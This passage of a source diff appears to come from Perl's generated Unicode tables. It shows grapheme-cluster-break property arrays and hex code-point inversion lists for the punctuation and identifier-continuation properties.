GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Prepend, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_L, + GCB_V, + GCB_T, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Extend, + GCB_ZWJ, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Glue_After_Zwj, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_L, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_LV, + GCB_LVT, + GCB_Other, + GCB_V, + GCB_Other, + GCB_T, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Prepend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Control, + GCB_Other, + GCB_Extend, + GCB_SpacingMark, + GCB_Extend, + GCB_Other, + GCB_SpacingMark, + GCB_Extend, + GCB_Control, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Extend, + GCB_Other, + GCB_Regional_Indicator, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Modifier, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base_GAZ, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Glue_After_Zwj, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Glue_After_Zwj, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_E_Base, + GCB_Other, + GCB_Control, + GCB_Extend, + GCB_Control, + GCB_Extend, + GCB_Control, + GCB_Other }; -# endif /* EBCDIC 1047 */ +#endif /* defined(PERL_IN_REGEXEC_C) */ -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 +#if defined(PERL_IN_UTF8_C) -static const UV PL_PO_invlist[] = { /* for EBCDIC 037 */ - 343, /* Number of elements */ +static const UV _Perl_IDCont_invlist[] = { /* for ASCII/Latin1 */ + 1367, /* Number of elements */ 148565664, /* Version and data structure type */ 1, /* 0 if the list starts at 0; 1 if it starts at the element beyond 0 */ 0x0, - 0x4B, - 0x4C, - 0x50, - 0x51, - 0x5A, + 0x30, + 0x3A, + 0x41, 0x5B, - 0x5C, - 0x5D, - 0x5E, 0x5F, + 0x60, 0x61, - 0x62, - 0x6B, - 0x6D, - 0x6F, - 0x70, - 0x7A, - 0x7E, - 0x7F, - 0x80, + 0x7B, 0xAA, - 0xAC, - 0xB3, - 0xB4, + 0xAB, 0xB5, - 0xB7, - 0xE0, - 0xE1, + 0xB6, + 0xBA, + 0xBB, + 0xC0, + 0xD7, + 0xD8, + 0xF7, + 0xF8, + 0x2C2, + 0x2C6, + 0x2D2, + 0x2E0, + 0x2E5, + 0x2EC, + 0x2ED, + 0x2EE, + 0x2EF, + 0x300, + 0x375, + 0x376, + 0x378, + 0x37B, 0x37E, 0x37F, + 0x380, + 0x386, 0x387, 0x388, + 0x38B, + 0x38C, + 0x38D, + 0x38E, + 0x3A2, + 0x3A3, + 0x3F6, + 0x3F7, + 0x482, + 0x483, + 0x488, + 0x48A, + 0x530, + 0x531, + 0x557, + 0x559, 0x55A, - 0x560, - 0x589, - 0x58A, + 0x561, + 0x588, + 0x591, + 0x5BE, + 0x5BF, 0x5C0, 0x5C1, 0x5C3, 0x5C4, 0x5C6, 0x5C7, + 0x5C8, + 0x5D0, + 0x5EB, + 0x5F0, 0x5F3, - 0x5F5, - 0x609, - 0x60B, - 0x60C, - 0x60E, + 0x610, 0x61B, - 